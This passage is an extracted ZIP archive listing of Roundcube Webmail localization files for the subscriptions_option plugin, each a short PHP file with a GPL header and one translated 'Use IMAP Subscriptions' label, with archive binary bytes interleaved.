$labels['useimapsubscriptions']  = 'Käytä IMAP-tilauksia';
PKh�\O��aa3plugins/subscriptions_option/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Bruk IMAP-abonnementer';
PKh�\V���__3plugins/subscriptions_option/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Përdor Pajtime IMAP';
PKh�\��/``3plugins/subscriptions_option/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Kasuta IMAP tellimusi';
PKh�\��Ycc3plugins/subscriptions_option/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Erabili IMAP harpidetzak';
PKh�\;�4jj3plugins/subscriptions_option/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP abonelikleri kullanılsın';
PKh�\�)�#ll3plugins/subscriptions_option/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Usar suscripción a carpetas IMAP';
PKh�\�V��jj0plugins/subscriptions_option/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Abonetiyên IMAPê bi kar bîne';
PKh�\"�tvv3plugins/subscriptions_option/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Usar função de inscrição em pastas IMAP';
PKh�\0��ss3plugins/subscriptions_option/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Izmantot IMAP abonēšanas iestatījumus';
PKh�\�iqee3plugins/subscriptions_option/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Použiť prihlásenia IMAP';
PKh�\�ݻ�oo3plugins/subscriptions_option/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Používat odebírání IMAP složek';
PKh�\N3�3plugins/subscriptions_option/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Використовувати IMAP Підписки';
PKh�\�>�aa3plugins/subscriptions_option/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Brûk IMAP Ynskriuwing';
PKh�\�պ2ii3plugins/subscriptions_option/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Nur abonnierte Ordner anzeigen';
PKh�\_q
�bb4plugins/subscriptions_option/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Usar suscripciones IMAP';
PKh�\�"ۛdd0plugins/subscriptions_option/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP obunadan foydalanish';
PKh�\r�
��0plugins/subscriptions_option/localization/es.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | plugins/subscriptions_option/localization/<lang>.inc                  |
 |                                                                       |
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 | Copyright (C) 2012-2013, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/
$labels['useimapsubscriptions']  = 'Usar suscripciones IMAP';
?>
PKh�\���3plugins/subscriptions_option/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Օգտագործել IMAP-ի բաժանորդագրությունները';
PKh�\򬁝aa3plugins/subscriptions_option/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Use IMAP Subscriptions';
PKh�\H�`]]3plugins/subscriptions_option/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = '使用 IMAP 訂閱';
PKh�\=JS�hh3plugins/subscriptions_option/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Fes servir Subscripcions IMAP';
PKh�\��/�cc0plugins/subscriptions_option/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Usar subscriptiones IMAP';
PKh�\�M�Oaa3plugins/subscriptions_option/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Koristi IMAP pretplate';
PKh�\�#�yy3plugins/subscriptions_option/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Использовать IMAP подписки';
PKh�\�8��nn3plugins/subscriptions_option/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'استفاده از عضویت IMAP';
PKh�\2�}a__3plugins/subscriptions_option/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Nota IMAP-áskriftir';
PKh�\��Nmm3plugins/subscriptions_option/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Đăng ký dùng cách thức IMAP';
PKh�\q뾹��3plugins/subscriptions_option/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'ใช้ IMAP การสมัครสมาชิก';
PKh�\�T��mm3plugins/subscriptions_option/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'استخدم اشتراكات IMAP';
PKh�\��b�ii3plugins/subscriptions_option/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP göndərişi istifadə et';
PKh�\	�-8aa3plugins/subscriptions_option/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Gunakan Langganan IMAP';
PKh�\�e5�kk3plugins/subscriptions_option/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP előfizetések használata.';
PKh�\uw��bb3plugins/subscriptions_option/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Utilizare abonări IMAP';
PKh�\U53�[[0plugins/subscriptions_option/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Uzi IMAP-abonojn';
PKh�\{nD�hh3plugins/subscriptions_option/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Utiliser les abonnements IMAP';
PKh�\�M�Oaa3plugins/subscriptions_option/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Koristi IMAP pretplate';
PKh�\1\X�cc3plugins/subscriptions_option/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Używaj subskrypcji IMAP';
PKh�\���hh3plugins/subscriptions_option/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP 購読リストを使う';
PKh�\�@�__3plugins/subscriptions_option/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Bruk IMAP-abonnement';
PKh�\Dz�wbb1plugins/subscriptions_option/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Usar soscripciones IMAP';
PKh�\��uu3plugins/subscriptions_option/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Користи ИМАП претплате';
PKh�\��]ee3plugins/subscriptions_option/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP-Abonnementer benotzen';
PKh�\]����3plugins/subscriptions_option/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'از ثبت نام های IMAP استفاده کنید';
PKh�\Hɽ�ee0plugins/subscriptions_option/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Arverañ koumanantoù IMAP';
PKh�\����tt3plugins/subscriptions_option/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Употреби IMAP претплата ';
PKh�\�b$9tt3plugins/subscriptions_option/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'ប្រើ​ការ​ជាង IMAP';
PKh�\8�n�qq3plugins/subscriptions_option/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP захиалга хэрэглэх';
PKh�\G�gvv3plugins/subscriptions_option/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'שימוש ברישום לתיקיות IMAP';
PKh�\Qx�khh3plugins/subscriptions_option/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Bain feidhm as siúntais IMAP';
PKh�\�PNaa3plugins/subscriptions_option/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Brug IMAP abonnementer';
PKh�\xy$�bb3plugins/subscriptions_option/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

